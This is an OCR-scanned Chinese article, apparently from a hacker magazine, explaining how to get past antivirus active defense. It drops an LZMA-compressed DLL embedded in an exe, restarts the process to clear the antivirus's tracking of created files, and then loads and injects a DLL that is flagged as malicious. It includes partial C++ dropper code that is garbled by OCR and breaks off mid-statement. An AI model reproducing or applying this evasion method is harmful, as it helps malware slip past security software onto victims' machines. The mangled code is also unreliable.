记得在去年的时候,笔者曾经写过《另类过主动防御系统》和《“藏”好你是数据》的文章,前者文章中使用的是远程注入这种比较老的技术,但是使用这个注入的&1很可能会被杀毒软件将程序判断为风险文件,这时我们就要想个办法规避这个问题。后者文章中使用的是lzma压缩文件保存在exe中,需要时再释放出来。本文中使用了这两篇文章的一些技术。
经过一段时间的主动防御触发行为的研究,笔者认为,部分杀毒软件在程序运行过程中 是会记录应用程序创建的文件,并且会对应用程序调用这些文件加大监控的力度。
因此,笔者有一个想法,如果我们在程序创建文件后重启程序,便可以将杀毒软件记录 的关于程序运行时创建的文件的记录消除,再使用这个创建的文件。但是,又有个新的问题, 如何保护我们的文件内容不被直接检查呢?这时,我想到了之前我用1^3压缩算法压缩文 件来保护我们的文件不被直接检查出来,万事具备,只欠东风,我们现在就来实现这个吧。
笔者做测试时释放的一个文件是被瑞星直接扫描时会判断危险的DLL文件,经过这样的 释放最终没有被主动防御判定行为危险,并且成功的加载和注入到桌面进程。

另外,在测试360安全卫士的时候,这个释放出来的dll(释放在临时文件夹)也没有被直接删除,并且成功注入到桌面进程,而要是直接查杀的话也是一个病毒文件。但是由于要安装服务,被360拦截了,但是我们也是成功注入了并执行了 !我们只要不是用安装服务, 比如一次性的使用这样还是很方便的。

当然,对于卡巴斯基来说,我们的exe经过他的启发式扫描,就直接报毒了,更不用说加载了。程序的大致流程图如下:

首先,我们可以使用命令行的选项来控制程序的状态:
无命令:第一步;
_1:第二步;
-2:第三步(加载文件,同时我们也还可以将文件移动(MoveFile) —次,然后再 加载,这样可能会更安全,代码中为了测试方便并没有移动文件)。
然后,我们需要将自己的需要的文件压缩,并转换为数据,这里为了使用方便仅仅压缩 了一个简单的DLL。
接下来就是看看我们的实现代码了 :
1) 我们压缩数据的结构:
a) 文件头:
原始文件长度(4byte) |属性表大小(4byte)
b) 文件数据:
文件头(8byte) 属性表信息(5byte,同时在文件头中定义)数据
2) 预定义我们要解压出的文件的名称(用预定义可以提高我们代码的可读性和方 便修改):
#define DLL_NME L"test_uncompress.dll"
3)程序主体代码:
//path
TCHAR path[MAX_PATH] = {0};
TCHAR filepathlMAX_PATH];
II path exe filepath
::GetModuleFileName(NULL, path, MAX_PATH);
lstrcpy(filepath, path);
for (int i = lstrlen(filepath) - 1; i > 0; i—)
;
i
if (filepath[i] ==,\\,) ;
i
filepath[i+l] = 0;
break;
}
}
lstrcat (filepath, DLL_NME);
if (wcsstr(lpCmdLine, L〃-2") != NULL) {
//第三步使用文件
HM0DULE hDll = ::LoadLibraryW(filepath);
//do something here
::FreeLibrary(hDll);
//delete the file
::DeleteFile(filepath);
} else {
//原始文件长度(4byte) |属性表大小(4byte)
DWORD dwHeader[2];
//文件(8byte) 属性表信息(5byte,同时在文件头中定义)数据
memcpy(dwHeader, lzmadata, sizeof(DW0RD) *2);
BYTE *uncompressdata = (BYTE *)malloc(dwHeader[0]);
size_t datasize = sizeof(lzmadata) - (sizeof (DW0RD) * 2 +
dwHeader[l]);
size_t propsize = dwHeader[l];
jmvw*hflcKei^onuco
int status = LzmaUncompress(uncompressdata, (size_t *)&dwHeader[0],
lzmadata + sizeof (DWORD) * 2 + dwHeader[l], &datasize, lzmadata + sizeof(DWORD) * 2, propsize); if (status == SZ_OK)
{
DWORD dwffrite;
HANDLE hFile = INVALID_HANDLE_VALUE;;
DWORD wirtesize = dwHeader[0] / 2; if (wcsstr(lpCmdLine, L〃_1〃) != NULL) |